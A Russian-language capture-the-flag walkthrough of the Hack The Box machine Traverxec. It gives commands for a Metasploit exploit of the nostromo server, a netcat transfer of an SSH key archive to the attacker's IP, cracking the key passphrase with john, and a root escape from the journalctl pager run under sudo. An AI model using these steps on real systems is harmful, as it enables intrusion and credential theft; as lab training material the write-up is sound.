# HTB Traverxec
## Cканирование
Добавим в файл etc/hosts ip нашей машинки, чтобы можно было обращатся по имени
nano /etc/hosts
* 10.10.10.165 traverxec.htb

затем просканим машинку:
* nmap -sV -O -A -p- --open -sS -Pn -n traverxec.htb
где:
-Pn - выключить пинг-сканирование, и считать, что все целевые адреса существуют
-n - не выполняем обратный резолв
-sS - syn сканирование открытые порты определяем
-sV - определяем версию сервисов
-O - определение версии ОС
-А - агрессивное сканирование
-p- - сканирование всех портов(по умолчанию нмап сканит первые 1000 портов по TCP)
–open - хотим получить только открытые порты
traverxec.htb - имя нашей машинки


На 80 порту висит nostromo (cервис)
* ip a
наш айпишник 10.10.14.2
## Поиск эксплойта и получение первоначального доступа
Запустим metasploit
* msfconsole
Поищем эксплойты
* search exploit nostromo

Укажем адрес акакуемой и нашей тачки
* set rhosts traverxec.htb
* set lhost 10.10.14.2
* run / exploit

Перешли в шелл
* shell -t

Попробовали перейти в папку root - permission denied

## Повысим привилегии до юзера
Смотрим конфигурацию самого сервера
* cd /var/nostromo/conf
* cat nhttpd.conf

В домашней директории находим папку public_www


В этой папке находится находится архив
Наша задача перенести этот архив на хост и сбрутить хэши
Поднимаем **netcat**
На хосте
* nc -lvnp 1234 > backup-ssh-identity-files.tgz
На атакуемой машине
* nc -w3 10.10.14.2 1234 < backup-ssh-identity-files.tgz

Разархивируем полученный архив
* tar -xvzf backup-ssh-identity-files.tgz

Скопируем в папку откуда будем делать подключение по ssh
* cp /home/user/HTB/traverxec/home/david/.ssh authorized_keys id_rsa id_rsa.pub ~/htb/traverxec
**Запускаем джона**
и делаем из ключа хэш

* python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash
Брутим джоном хэш
* john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

получили пароль от smb - hunter
Подключаемся по ssh и вводим пароль

Нашли флаг юзера

## Получаем рута
Смотрим что еще есть инетерсного у пользователя
Находим скрипт server-stats.sh
Открываем его
и видим строчку, в которой указано что данная строчка запускается с правами рута

Запускаем сервис
* /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
Дописываем
* !/bin/sh

Получаем рута

Получили флаг рута
